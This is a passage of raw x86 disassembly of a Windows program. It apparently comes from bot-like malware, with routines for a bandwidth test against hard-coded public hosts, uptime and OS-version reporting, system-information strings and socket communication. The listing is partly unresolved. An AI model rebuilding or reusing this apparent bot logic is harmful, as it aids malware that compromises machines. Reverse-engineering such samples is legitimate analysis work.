esi call sub_41BA91 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_4276EC fmul flt_4276E8 call sub_41D174 loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41ABDE: ; CODE XREF: sub_41AA1E+149j push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx loc_41ABF7: ; CODE XREF: sub_41AA1E+19j ; sub_41AA1E+42j ... xor eax, eax jmp short loc_41ABD9 sub_41AA1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E push 8 mov esi, eax call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E add esp, 10h test esi, esi jz short loc_41ACFC test eax, eax jz short loc_41ACF8 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j mov ebx, esi jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j mov ebx, eax loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj ; sub_41ABFB+FFj push 0Ch call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E push 0Ch mov edi, eax call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD36 test eax, eax jz short loc_41AD32 lea esi, [eax+edi] shr esi, 1 jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej mov esi, edi jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj mov esi, eax loc_41AD38: ; CODE XREF: sub_41ABFB+135j ; sub_41ABFB+139j push 6 call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E push 6 mov edi, eax call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD70 test eax, eax jz short loc_41AD6C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD6C: ; CODE XREF: sub_41ABFB+168j mov ecx, edi jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD70: ; CODE XREF: sub_41ABFB+164j mov ecx, eax loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj ; sub_41ABFB+173j xor eax, eax test ebx, ebx jz short loc_41AD7F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD82 ; --------------------------------------------------------------------------- loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj push 2 pop edi loc_41AD82: ; CODE XREF: sub_41ABFB+182j test esi, esi jz short loc_41AD8A add eax, esi jmp short loc_41AD8B ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: sub_41ABFB+189j dec edi loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj test ecx, ecx jz short loc_41AD93 add eax, ecx jmp short loc_41AD94 ; --------------------------------------------------------------------------- loc_41AD93: ; CODE XREF: sub_41ABFB+192j dec edi loc_41AD94: ; CODE XREF: sub_41ABFB+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A990 push eax call sub_41C266 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_26C] push eax call sub_415D38 add esp, 30h pop edi pop esi pop ebx leave retn sub_41ABFB endp ; =============== S U B R O U T I N E ======================================= sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp ; sub_401ACD+29CDp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26C0589h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DBC90 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C360 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41ADD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 2700552h test eax, eax jz short loc_41AED4 cmp [ebp+var_90], 4 jnz short loc_41AEAA cmp [ebp+var_8C], esi jnz short loc_41AE92 cmp [ebp+var_84], 1 jnz short loc_41AE85 push 1 pop esi loc_41AE85: ; CODE XREF: sub_41AE41+3Fj cmp [ebp+var_84], 2 jnz short loc_41AED4 push 1 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE92: ; CODE XREF: sub_41AE41+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE9F loc_41AE9B: ; CODE XREF: sub_41AE41+78j push 2 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE9F: ; CODE XREF: sub_41AE41+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AED4 jmp short loc_41AEC4 ; --------------------------------------------------------------------------- loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej cmp [ebp+var_90], 5 jnz short loc_41AED4 cmp [ebp+var_8C], esi jz short loc_41AE9B cmp [ebp+var_8C], 1 jnz short loc_41AEC8 loc_41AEC4: ; CODE XREF: sub_41AE41+67j push 3 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AEC8: ; CODE XREF: sub_41AE41+81j cmp [ebp+var_8C], 2 jnz short loc_41AED4 push 7 loc_41AED3: ; CODE XREF: sub_41AE41+4Fj ; sub_41AE41+5Cj ... pop esi loc_41AED4: ; CODE XREF: sub_41AE41+25j ; sub_41AE41+4Bj ... mov eax, esi pop esi leave retn sub_41AE41 endp ; =============== S U B R O U T I N E ======================================= sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p push ebx push esi push edi mov esi, 0F4240h loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj ; sub_41AED9+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call near ptr 26A068Bh nop rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DCB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AEE1 jb short loc_41AF10 cmp ebx, esi ja short loc_41AEE1 loc_41AF10: ; CODE XREF: sub_41AED9+31j push 0 push 64h push edi push ebx call sub_41DD20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF83 jb short loc_41AF2F cmp esi, 50h jnb short loc_41AF34 loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj push 4Bh xor edx, edx pop eax loc_41AF34: ; CODE XREF: sub_41AED9+54j test ecx, ecx ja short loc_41AF83 jb short loc_41AF3F cmp esi, 47h jnb short loc_41AF44 loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj push 42h xor edx, edx pop eax loc_41AF44: ; CODE XREF: sub_41AED9+64j test ecx, ecx ja short loc_41AF83 jb short loc_41AF4F cmp esi, 37h jnb short loc_41AF54 loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj push 32h xor edx, edx pop eax loc_41AF54: ; CODE XREF: sub_41AED9+74j test ecx, ecx ja short loc_41AF83 jb short loc_41AF5F cmp esi, 26h jnb short loc_41AF64 loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj push 21h xor edx, edx pop eax loc_41AF64: ; CODE XREF: sub_41AED9+84j test ecx, ecx ja short loc_41AF83 jb short loc_41AF6F cmp esi, 1Eh jnb short loc_41AF74 loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj push 19h xor edx, edx pop eax loc_41AF74: ; CODE XREF: sub_41AED9+94j test ecx, ecx ja short loc_41AF83 jb short loc_41AF7F cmp esi, 0Ah jnb short loc_41AF83 loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj xor eax, eax xor edx, edx loc_41AF83: ; CODE XREF: sub_41AED9+4Dj ; sub_41AED9+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AED9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43DB88 mov [ebp+var_CC], 94h call near ptr 2700552h nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B016 cmp [ebp+var_C4], ebx jnz short loc_41AFF2 cmp [ebp+var_BC], 1 jnz short loc_41AFDC mov [ebp+var_4], offset dword_431620 loc_41AFDC: ; CODE XREF: sub_41AF8F+44j cmp [ebp+var_BC], 2 jnz loc_41B091 mov [ebp+var_4], offset dword_43161C jmp short loc_41B062 ; --------------------------------------------------------------------------- loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B004 mov [ebp+var_4], offset dword_431618 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B004: ; CODE XREF: sub_41AF8F+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B052 mov [ebp+var_4], offset dword_431614 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B016: ; CODE XREF: sub_41AF8F+33j cmp [ebp+var_C8], 5 jnz short loc_41B052 cmp [ebp+var_C4], ebx jnz short loc_41B030 mov [ebp+var_4], offset dword_431610 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B030: ; CODE XREF: sub_41AF8F+96j cmp [ebp+var_C4], 1 jnz short loc_41B042 mov [ebp+var_4], offset dword_43160C jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B042: ; CODE XREF: sub_41AF8F+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B059 loc_41B052: ; CODE XREF: sub_41AF8F+7Cj ; sub_41AF8F+8Ej mov [ebp+var_4], offset dword_431604 loc_41B059: ; CODE XREF: sub_41AF8F+73j ; sub_41AF8F+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B091 loc_41B062: ; CODE XREF: sub_41AF8F+61j cmp [ebp+var_B8], bl jz short loc_41B091 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_436BB4 push eax call sub_41C266 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B091: ; CODE XREF: sub_41AF8F+54j ; sub_41AF8F+D1j ... mov ax, word_4383AC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB8B4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B0CA lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj push [ebp+arg_4] call sub_40AA06 pop ecx push eax call dword_4CBA14 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_41B0F3 push dword ptr [eax] jmp short loc_41B0F8 ; --------------------------------------------------------------------------- loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B0F8: ; CODE XREF: sub_41AF8F+162j lea eax, [ebp+var_3E4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 26A0000h lea eax, [ebp+var_114] push 46h push eax push offset dword_43AC78 push ebx mov esi, 409h push ebx push esi call near ptr 2780000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2771561h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2880000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C3B1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41ADD8 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax call sub_41AED9 push edx push eax push offset dword_43AB9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p ; sub_401ACD+71F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BF70 add esp, 0Ch cmp dword_4CBABC, 0 jnz short loc_41B2AF push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB898 test eax, eax jnz short loc_41B298 lea eax, [ebp+var_8C] push offset dword_43ACF0 push eax call sub_41C266 pop ecx pop ecx loc_41B298: ; CODE XREF: sub_41B243+40j test [ebp+var_C], 1 jz short loc_41B2A5 push offset dword_43ACE8 jmp short loc_41B2AA ; --------------------------------------------------------------------------- loc_41B2A5: ; CODE XREF: sub_41B243+59j push offset off_43ACE4 loc_41B2AA: ; CODE XREF: sub_41B243+60j lea eax, [ebp+var_8] jmp short loc_41B2C7 ; --------------------------------------------------------------------------- loc_41B2AF: ; CODE XREF: sub_41B243+28j mov esi, offset off_43ACE0 lea eax, [ebp+var_8] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41B2C7: ; CODE XREF: sub_41B243+6Aj push eax call sub_41C266 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43AC9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43ADD0 call sub_41BF70 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BF70 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BF70 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BF70 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BF70 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB8D0 test eax, eax jz loc_41B49C cmp [ebp+var_34], ebx jbe short loc_41B3D9 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BFD0 add esp, 0Ch loc_41B3D9: ; CODE XREF: sub_41B302+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B3F7 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BFD0 add esp, 0Ch loc_41B3F7: ; CODE XREF: sub_41B302+DEj cmp [ebp+var_20], ebx jbe short loc_41B411 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BFD0 add esp, 0Ch loc_41B411: ; CODE XREF: sub_41B302+F8j cmp [ebp+var_18], ebx jbe short loc_41B42B push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BFD0 add esp, 0Ch loc_41B42B: ; CODE XREF: sub_41B302+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB984 call dword_4CB9A8 mov esi, eax cmp esi, ebx jz short loc_41B4B4 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB99C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B4BB push ebx push ebx push ebx push ebx push eax call dword_4CB948 test eax, eax jz short loc_41B495 push offset dword_43ADB4 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B495: ; CODE XREF: sub_41B302+18Aj push offset unk_43AD78 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B49C: ; CODE XREF: sub_41B302+B7j lea eax, [ebp+var_55C] push offset dword_43AD5C push eax call sub_41C266 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B4CE ; --------------------------------------------------------------------------- loc_41B4B4: ; CODE XREF: sub_41B302+153j push offset unk_43AD30 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B4BB: ; CODE XREF: sub_41B302+17Bj push offset unk_43AD00 loc_41B4C0: ; CODE XREF: sub_41B302+191j ; sub_41B302+198j ... lea eax, [ebp+var_55C] push eax call sub_41C266 pop ecx pop ecx loc_41B4CE: ; CODE XREF: sub_41B302+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B4F9 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409869 add esp, 14h loc_41B4F9: ; CODE XREF: sub_41B302+1D2j lea eax, [ebp+var_55C] push eax call sub_415D38 pop ecx push esi call dword_4CBA08 push [ebp+var_4] call dword_4CBA08 push [ebp+var_1D8] call sub_40B6D6 pop ecx push ebx call near ptr 2710000h nop pop edi pop esi pop ebx sub_41B302 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4DBCCC push 0 push esi call sub_41BF70 add esp, 0Ch push [esp+4+arg_0] push offset aS_1 ; "%s" push 0FFh push esi call sub_41C360 add esp, 10h pop esi retn sub_41B52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B55B proc near ; CODE XREF: ___:0041B843p ; ___:0041B860p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4DBDD4 lea edi, [ebp+var_C] mov ax, word_43ADD4 movsd movsb mov esi, offset dword_4DBDCC lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_4346DC movsd mov [ebp+var_6], ax mov ax, word_4CB88C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B627 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B5AD: ; CODE XREF: sub_41B55B+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B5CD dec eax jnz short loc_41B61B push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5E1 ; --------------------------------------------------------------------------- loc_41B5CD: ; CODE XREF: sub_41B55B+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B5E1: ; CODE XREF: sub_41B55B+70j push eax push edi call dword_4CBA24 push ebx call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B5FD push 4 lea eax, [ebp+var_C] jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B5FD: ; CODE XREF: sub_41B55B+99j push 5 lea eax, [ebp+var_14] loc_41B602: ; CODE XREF: sub_41B55B+A0j push eax push edi call dword_4CBA24 push esi push ebx call sub_41B9C0 pop ecx push eax push ebx push edi call dword_4CBA24 loc_41B61B: ; CODE XREF: sub_41B55B+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B5AD pop ebx jmp short loc_41B69D ; --------------------------------------------------------------------------- loc_41B627: ; CODE XREF: sub_41B55B+42j dec eax jz short loc_41B646 dec eax jnz short loc_41B69D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B65D ; --------------------------------------------------------------------------- loc_41B646: ; CODE XREF: sub_41B55B+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B65D: ; CODE XREF: sub_41B55B+E9j push eax push edi call dword_4CBA24 push [ebp+arg_4] call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B67B push 4 lea eax, [ebp+var_C] jmp short loc_41B680 ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B55B+117j push 5 lea eax, [ebp+var_14] loc_41B680: ; CODE XREF: sub_41B55B+11Ej push eax push edi call dword_4CBA24 push esi push [ebp+arg_4] call sub_41B9C0 pop ecx push eax push [ebp+arg_4] push edi call dword_4CBA24 loc_41B69D: ; CODE XREF: sub_41B55B+CAj ; sub_41B55B+D0j pop edi pop esi leave retn sub_41B55B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43ADEC lea edi, [ebp-38h] mov ax, word_4346DC movsd movsd movsd movsb mov esi, offset dword_43ADE8 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4DBDD4 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43ADE4 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43ADE0 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43ADDC lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B724 push eax call dword_4CBA6C loc_41B724: ; CODE XREF: ___:0041B71Bj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4CB9D4 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4CB97C test eax, eax jnz loc_41B820 loc_41B75C: ; CODE XREF: ___:0041B7CEj ; ___:0041B805j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4CB9EC cmp eax, esi jle loc_41B82E cmp eax, 0FFFFFFFFh jz loc_41B82E mov eax, edi sub eax, esi jz short loc_41B7D0 dec eax jz short loc_41B79E dec eax jz short loc_41B80A jmp short loc_41B800 ; --------------------------------------------------------------------------- loc_41B79E: ; CODE XREF: ___:0041B797j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-6] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4CBA24 push 2 pop edi jmp short loc_41B75C ; --------------------------------------------------------------------------- loc_41B7D0: ; CODE XREF: ___:0041B794j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-38h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4CBA24 push 1 pop 